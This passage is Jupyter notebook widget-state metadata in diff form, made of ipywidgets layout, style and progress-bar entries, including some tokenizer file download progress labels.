"_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dc8d5cf759be4ab08d801e1d4758b34a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8bb4488a1c1c4defafb072afa695918f", + "placeholder": "​", + "style": "IPY_MODEL_2dc8bda3ec0046b09c6422b5248f1312", + "value": "100%" + } + }, + "dca153f028a14e3e959c9fe29816223f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dd94c326988a41cd8b57f4dd9a26f499": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ddebad755dce4da8887eb7f3d4dd49ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dfcd450b24d244ab86ccfc1b602a1d7e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dfe593ba3bb440e0a29864c62f7b049e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dffb565d8879412ba6c9989b02cbe661": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "dffbab23b4c34df9b6f9e8ff6c1a1912": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e0424e3a00f24718ab911e6162ce8d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e0448b4988f643dd9f12e4fca280dbee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_75327980774b4419a9ec50f97a0c1d75", + "placeholder": "​", + "style": "IPY_MODEL_7adf45fac6804cbcbbe5d7c6cbdfd878", + "value": " 50/50 [00:13<00:00, 3.69it/s]" + } + }, + "e11583de8d894d3da80ef3bb1fe52e08": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e221a677aab740ea888cb7faf343dfbb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e23ebecc8f5f4598a991da021d78ddd2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e25496021c9f4046bb83f585601baaf4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_48b23ac8e7ce46239504712135b41444", + "max": 30, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_6f520ae078104d70945b5d42ded1a75a", + "value": 30 + } + }, + "e25cb8e08bae4c56a84874cf31cd84c4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e416557198234698affa1b9410fa0967": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_cc1d355b4f6440fab9de50ccc5a268b8", + "IPY_MODEL_9dec2df865ed4e8399c511f504e460f7", + "IPY_MODEL_0439a988a2834c379b037e5faba17290" + ], + "layout": "IPY_MODEL_c0bb5873a4ca4462a28773a269a6c551" + } + }, + "e535c42b82cb4e1fa4fbf492768e5762": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e67431e7efe24016bcf04dfbcffc776e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e82bcca350364e229895710e7d145fbf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e92d28da4f314f73b4c4cccde114f1f4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "eb2855fb57d64857ab32fafd3a77b457": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "eb33b9af3ec14698bec89ff8b66bae06": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b00687d7649d45af882cdd6d0f97591d", + "IPY_MODEL_62905ea2ea4045aeb5ec9a8426247100", + "IPY_MODEL_9eb63a9230ba472d87cf106e8abb5dff" + ], + "layout": "IPY_MODEL_fcc8de512f89491ab8b7a50cc37f83f5" + } + }, + "ebfab18cc7484b71bb252d4e242e3b40": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ec3c6adaf7ed44469ac0a58490dd5159": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ec6d2dd0f61e42478903c839bc3395ec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_96127d57c04f45fd91dab7aa30607e63", + "IPY_MODEL_a109094931b742ee9f4376e54d62660c", + "IPY_MODEL_851980277e5e486a9962a2e7607be100" + ], + "layout": "IPY_MODEL_3d4c455dc8344c7b8b42a609322713e8" + } + }, + "ecc2c348430c471791a449784f5df44c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ed4320b4d8284ead91830c0b11b9bc56": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f25cbe3e352d44c9849191bbb8e9d4d9", + "placeholder": "​", + "style": "IPY_MODEL_3bffddd95fdf4e3c896e1554a239273a", + "value": "100%" + } + }, + "ee190ee62fb24dacb96d9b57e562c3b9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ee194df227d447d9a5a36d4ec08d3a47": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee1a66e0f3ab4c67beef305317124a0f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee87d3500d5a483b8a03b0c499392928": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee9c24e8b40948d398b026d30cc5cee7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "eed1d1e67a1d4a20ba49586148ca5a2a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ef3472cacb4d426cbacec25777507432": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_50569e1467f7411e862553111c97afb3", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_72effdc24eb84648b6838729c11fed72", + "value": 10 + } + }, + "efa4ce6a37094cd483fa4e39b7ae04eb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b7db2ab7ac704366b20c166c701019c0", + "placeholder": "​", + "style": "IPY_MODEL_8c01f8b4191048c5b596bb5da0c73d2f", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "f001e880d8f3453a9395eb78329dbbc7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8b41d5c904a942a0bcee642499015089", + "IPY_MODEL_84df3286d6044ab5aa6e8cb6c8d1b813", + "IPY_MODEL_e0448b4988f643dd9f12e4fca280dbee" + ], + "layout": "IPY_MODEL_f259a8f8222c41eea77498acd6d4e4aa" + } + }, + "f019b7a1faf1469c87b048319a9b71ef": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f0ad1221f0f84ac085df2315bd00d572": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f0aebefd751e48939aae8e3eac7adfde": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_90ddc85bb3e84773acf73b9a16b4f0be", + "placeholder": "​", + "style": "IPY_MODEL_440bb669cff048cea2363b50d28521ed", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "f0c88afdf3ac4ca3b63be6f561bbf5f0": { + "model_module": 